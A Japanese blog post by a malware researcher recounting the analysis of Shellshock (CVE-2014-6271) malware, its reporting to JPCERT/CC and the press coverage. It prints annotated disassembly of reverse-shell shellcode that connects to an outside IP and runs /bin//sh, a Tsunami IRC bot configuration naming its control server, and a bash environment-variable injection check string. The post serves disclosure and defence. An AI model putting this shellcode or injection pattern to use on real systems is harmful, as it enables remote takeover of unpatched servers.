特にリバースエンジニアリングの僕らの手が回らない状態です。
《一日目》
CVE-2014-6271(bash 0day)の発表後24時間以内にMalwareMustDieのチームメートから連絡があり、私が調査してマルウェア感染攻撃を発見しました。
https://t.co/CO9AOtHglO Shit is real now. First in-wild attack to hit my sensors CVE-2014-6271 #shellshock #bash ping @MalwareMustDie
— Yinette (@yinettesys) September 25, 2014
↑調査してくれっていう事で、当時自分は外出中でしたが危なそうだったので急いでPCを開いてバイナリーの分析調査を始めました。「早く!早く!」とあちこちから催促するメッセージ。初めて見たマルウェアなのにそんなに早く分析出来るわけないだろうとキレながら調査。調査しながら「VirusTotal」のコメント欄に調査報告を書いて、報告しました↓
Payload of #0day #bash attack @yinettesys (credit)saw #in I analyzed here: https://t.co/19SbtF8xGJ <guess? #ELF #DDoS #FUD!
#MalwareMustDie
— MalwareMustDie, NPO (@MalwareMustDie) September 25, 2014
↑完成まで結構早かった、調査に掛かった時間は大体3~4時間ぐらいかな?ツイート報告遅くなりました。すまぬ…詳細な調査報告が出来ずにいましたがマルウェアの全容は見えるように。後で気づいたが、このマルウェアを初めて調査報告した研究者は僕でした。GJ。これは酷いマルウェアで、バックドア機能意外にもtelnet接続のIPスキャナー、login bruteforce機能、DDoS機能、busyboxのexploit攻撃機能、などを発見しました。ツイートのリンクをクリックすると「VirusTotal」のサイトに行くので「コメント」のタブをクリックしてください。調査結果が見れます↓
焦って書いたのでなかなかにお粗末な出来ですが(VTコメントは編集が出来ない)おゆるしを。本当にプレッシャーやばかったの^^);
その後、仕事終わったあとでゆっくり丁寧に詳しい情報をマルウェア研究サイトに書きました↓ふう
#ELF #malware used for mass infection using #0day #bash is named: #Linux/Bash0day http://t.co/9LxG4um5s8 < Wrote review in KM/c: @hFireF0X
— Hendrik Adrian (@unixfreaxjp) September 25, 2014
そしたらニュースレポーターからインタービューの依頼が来て、受けました。それが海外のITニュースの話題に。国内にその情報も来たみたいなので見て下さい↓
http://japan.zdnet.com/security/analysis/35054302/
http://newsbiz.yahoo.co.jp/detail?a=20140926-35054302-cnetj-nb
《二日目》
翌日また新種のマルウェア攻撃を発見し前日同様調査開始!
「Shellshock」の攻撃です↓
当時確認したら、マルウェアのダウンロードが出来ている状態でした↓
IPを確認したら、なんと…KDDIだ!!…びっくりしました。
$ dig www.0rz.it +short 106.185.25.239 $ echo 106.185.25.239 | geoip.sh 106.185.25.239|li716-239.members.linode.com.|2516 | 106.185.0.0/17 | KDDI | JP | LINODE.COM | LINODE LLCそのログはIDS機能からのログなので、たまたま会社の製品(K-PROX)のhttpプロキシのログでしました。
ポートスキャナーっぽい攻撃で、ヒットの数も多いから、危ないと思っていました。
直ぐにJP-CERT/CCに報告メールを書いて送りました、その後もツイートをしました↓
【緊急】JP-CERT/CC様へ|bash 0dayのマルウェアダウンロードurlが日本国内ネットワークにも発見し、先ほどメールを送りました。取り急ぎダウンロードのIPを止めてくれませんか?お願い致しますTo: @jpcert @kchr /cc: @tessy_jp
— Hendrik Adrian (@unixfreaxjp) September 26, 2014
↑返事が数秒で届きましたが、返事メールを見ながら「あれ!サンプルとサンプルの調査内容を送ってないんだ!」と気づいていた^^);;
大パニックになって、また、前の日みたいでバイナリーの分析調査をメールのフォームに急いで書いて、わーっとASMのコメントを書いて、2回ぐらいに編集し2回もメールで送信しました。…プレッシャーに弱い…失礼しました。
取りえず最終版のELFバイナリー分析調査結果がこんな感じで↓
0x08048054 | 31db | xor ebx, ebx ; nulling ebx by xor 0x08048056 | f7e3 | mul ebx ; nulling ebx by mul 0x08048058 | 53 | push ebx ; push 0 to stack ; from ebx=0x0 (nulled) < IPPROTO_IP 0x08048059 | 43 | inc ebx ; ebx = 0x1 ; socketcall number 1 = sys_socket 0x0804805a | 53 | push ebx ; push 1 to stack < AF_INET 0x0804805b | 6a02 | push 0x2 ; push 2 to stack < SOCK_STREAM 0x0804805d | 89e1 | mov ecx, esp ; set pointer to arguments array 0x0804805f | b066 | mov al, 0x66 ; syscall number 0x66 sys_socketcall 0x08048061 | cd80 | int 0x80 ; Svc_0; sys_socketcall ; sys_socket 0x08048063 | 93 | xchg ebx, eax ; socketfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); 0x08048064 | 59 | pop ecx LABEL_loop_to_clear_dup_result_to_zero: 0x08048065 | b03f | mov al, 0x3f ; syscall number 0x3f sys_dup2 0x08048067 | cd80 | int 0x80 ; Svc_0 ; sys_dup2 0x08048069 | 49 | dec ecx ; counter for dup loop, 3 to 0 ; to null the socket() register result 0x0804806a | 79f9 | jns 0x108048065 ; GOTO loop_to_clear_dup_result_to_zero: 0x0804806c | 681b139fe0 | push 0xe09f131b ; backward: 1B139FE0 = 27.19.159.224 < c2_struct.sin_addr 0x08048071 | 68020011c1 | push 0xc1110002 ; 0x11c1 = 4545 < sin_port ; 0x02 = 2 < c2_struct.sa_family=AF_INET 0x08048076 | 89e1 | mov ecx, esp ; set pointer for *c2_struct {sa_family=AF_INET, sin_port=htons(4545), sin_addr=inet_addr("27.19.159.224")} 0x08048078 | b066 | mov al, 0x66 ; syscall number 0x66 sys_socketcall 0x0804807a | 50 | push eax ; push al=0x66 to stack (to invoke sys_connect) 0x0804807b | 51 | push ecx ; push *c2_struct pointer (hold by ecx) 0x0804807c | 53 | push ebx ; push *socketfd pointer to stack (hold by ebx) 0x0804807d | b303 | mov bl, 0x3 ; socketcall number = 3 ; sys_connect 0x0804807f | 89e1 | mov ecx, esp ; set pointer to args array (for sys_connect) 0x08048081 | cd80 | int 0x80 ; Svc_0 ; sys_socketcall => sys_connect 0x08048083 | 52 | push edx ; push null (for string termination) 0x08048084 | 682f2f7368 | push 0x68732f2f ; push string 'hs//' (backward) to stack 0x08048089 | 682f62696e | push 0x6e69622f ; push string 'nib/' to stack 0x0804808e | 89e3 | mov ebx, esp ; set addr of "/bin//sh" into ebx from esp 0x08048090 | 52 | push edx ; push null (for string termination) 0x08048091 | 53 | push ebx ; push stack up 0x08048092 | 89e1 | mov ecx, esp ; set pointer to arg (array of strings fron sys_connect) => exev_arg 0x08048094 | b00b | mov al, 0xb ; syscall number 0x0b sys_execve 0x08048096 | cd80 | int 0x80 ; Svc_0 ; sys_socketcall => sys_execve("/bin//sh", ["/bin//sh", exec_arg], [NULL])
そして、その後…ゆっくり、ブログ(malwaremustdieとフォーラムにも)書きました↓
New #ELF #malware via #0day #bash I analyzed & reported here: http://t.co/mtZMut5ZJq sample: https://t.co/FllNDLo4A3 pic.twitter.com/XBTdYq4rwS— Hendrik Adrian (@unixfreaxjp) September 26, 2014
その後、また世界のITセキュリティニュースにも盛り上がったそうで、もう一度インタービューを受けました↓
#0day #bash #shellshock の件で私が受けたインタビューが記事になりました http://t.co/0l9uon9Ilv /* @LiamT & @ZDNet 有難う御座います^ー^) */ pic.twitter.com/SxGSWqDRLz
— Hendrik Adrian (@unixfreaxjp) September 26, 2014
そのニュースもあちこちに出てしまいました、国内にも来るかも知れないね→リンク
《三日目》
今日はもう12件ぐらい別々のELFマルウェア、ELF-EXPLOITとその他悪戯スクリプト(PHP/Perl…ほぼIRC/Bot)を発見しましたけれど、攻撃多すぎて。取り合えず今日からゆっくり一個ずつ対応します。ウェブサーバあり+bashのパッチがインストールされてないLinuxマシンは本当に危険ですね。
本0day(ゼロデイ)について、Heartbleedよりも危険なので、攻撃も色々出来るから、例えばリバースSHELLとか↓
ITW #PoC of #shellshock attack w/reverse #shell (pic)
No need to hide this, they use it already..
credit: @rjacksix pic.twitter.com/h6Ek8eUyEb
— Hendrik Adrian (@unixfreaxjp) September 26, 2014
などなど、でBASHのパッチを直ぐに提供してくださいね。
またPAYLOADとしてはマルウェアだけじゃないので↓
FYI: Not only malware but TONS of #Linux #shellcode #exploit #ELF/#script can be used to attack #shellshock vulnerable systems < #PatchNow!
— Hendrik Adrian (@unixfreaxjp) September 26, 2014
Most popular #DDoS'er used in #shellshock: #perl "ps bot" | pic: see its backdoors+attack functions
#MalwareMustDie pic.twitter.com/CReCk3wfGO
— MalwareMustDie, NPO (@MalwareMustDie) September 27, 2014
.@yinettesys that one is Perl Skiddies script IRC DDOser too (pic)
Just block the IP (#Blacklist) pic.twitter.com/YKCk84gKBs
— MalwareMustDie, NPO (@MalwareMustDie) September 27, 2014
.@ReaverCelty yes, we have many of these, they "own" internet traffic now, DDOS each other
@malekal_morte @wirehack7 pic.twitter.com/D3WFkOEPdO
— MalwareMustDie, NPO (@MalwareMustDie) September 27, 2014
なんと…Mac OS X マルウェアまで発見しました↓
The 1st #Mac OS X Mach-O #malware #shellshock payload is: #Tsunami/Kaiten :-) https://t.co/IJymWXJhvb #MalwareMustDie! < Mac is targeted too
— Hendrik Adrian (@unixfreaxjp) September 28, 2014
↑CNCはIRCですね↓#undef STARTUP // Start on startup? #undef IDENT // Only enable this if you absolutely have to #define FAKENAME "apache2" // What you want this to hide as #define CHAN "#shellshock" // Channel to join #define KEY "bleh" // The key of the channel int numservers=1; // Must change this to equal number of servers down there char *servers[] = { // List the servers in that format, always end in (void*)0 "linksys.secureshellz.net", (void*)0 };↑チャンネル名は#shellshockという事はshellshock限定で作られたマルウェアですね^^;こわ!
…などなど。所でどうかご注意を!
マルウェア分析調査に対して、全世界のITセキュリティまとめ
全世界のITセキュリティメディアから沢山記事を書いて頂き有難う御座います m(_ _)m
http://www.zdnet.com/hackers-jump-on-the-shellshock-bash-bandwagon-7000034095/
http://www.csoonline.com/article/2687958/application-security/shellshock-bash-vulnerability-being-exploited-in-the-wild-red-hat-says-patch-incomplete.html
http://www.version2.dk/artikel/botnets-kaster-sig-over-kritisk-shellshock-saarbarhed-shanghaje-linux-servere-68791
http://www.solidot.org/story?sid=41294
http://www.bkjia.com/xtaq/885386.html
Mentions:
http://www.newsfactor.com/story.xhtml?story_id=94303
http://newsbiz.yahoo.co.jp/detail?a=20140926-35054302-cnetj-nb
http://japan.zdnet.com/security/analysis/35054302/
http://www.zdnet.co.kr/news/news_view.asp?artice_id=20140926101159
http://www.zdnet.de/88206884/apple-mehrheit-der-mac-nutzer-ist-von-bash-luecke-nicht-betroffen/
http://www.cnet.de/88137503/bash-bug-exploit-code-fuer-shellshock-luecke-entdeckt/
http://www.zdnet.de/88206816/ersten-angriff-auf-bash-luecke-linux-und-unix-entdeckt/
http://www.silicon.de/41604047/shellshock-erste-angriffe-auf-linux-leck/
http://www.baomoi.com/Phat-hien-nhung-tan-cong-dau-tien-loi-dung-lo-hong-Bash/76/14901865.epi
http://www.downloadblog.it/post/116264/shellshock-primi-attacchi-col-bug-nella-bash-di-linux
http://ictnews.vn/cntt/bao-mat/phat-hien-nhung-tan-cong-dau-tien-loi-dung-lo-hong-bash-119952.ict
http://codigofonte.uol.com.br/noticias/primeiros-ataques-usando-bug-bash-sao-descobertos/19514
コメントとブログ↓
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3506
http://habrahabr.ru/company/eset/blog/238257/
脆弱性の影響チェックscript↓
返信削除env check='Not vulnerable' x='() { :;}; check=Vulnerable' bash -c 'echo $check'
↑2番目のELFはmsf shell_reverse_tcpのpayload x32のコードから単純にコピペで作られたそうだね。コードがそっくり。
返信削除